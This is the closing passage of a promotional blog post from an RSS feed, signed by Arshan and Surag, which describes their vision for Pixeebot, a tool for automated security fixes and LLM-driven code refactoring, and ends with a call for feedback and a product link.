<p>Security is just the beginning. The more users engage with Pixeebot, the more they see its potential for automated refactoring and leveraging LLM models for code transformation. The possibilities are thrilling.</p>
<p>Our vision is a future where developers are 100X more prolific developing code that is more secure, performant and higher quality.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>As developers, we're united by the goal to create exceptional software. With tools like Pixeebot, we're poised to achieve this with previously unattainable confidence and efficiency. We're excited about a future where our tools solve problems rather than create them.</p>
<p><strong>Your thoughts and feedback are vital to our journey. We want to hear from you.</strong> </p>
<p>How does this future sound to you? <a target="_blank" href="https://pixee.ai/">Get Pixeebot today</a>!</p>
<p><em>-- Arshan &amp; Surag</em></p>
<p><img src="https://media.licdn.com/dms/image/D5612AQGHI4vyqa74LA/article-inline_image-shrink_1500_2232/0/1692712058858?e=1698883200&amp;v=beta&amp;t=7wcRO1hD8ZhhOFVEO_-LAZf8O1DTPhzM2dcW8o1pcAI" alt="No alt text provided for this image" /></p>
]]></content:encoded></item></channel></rss>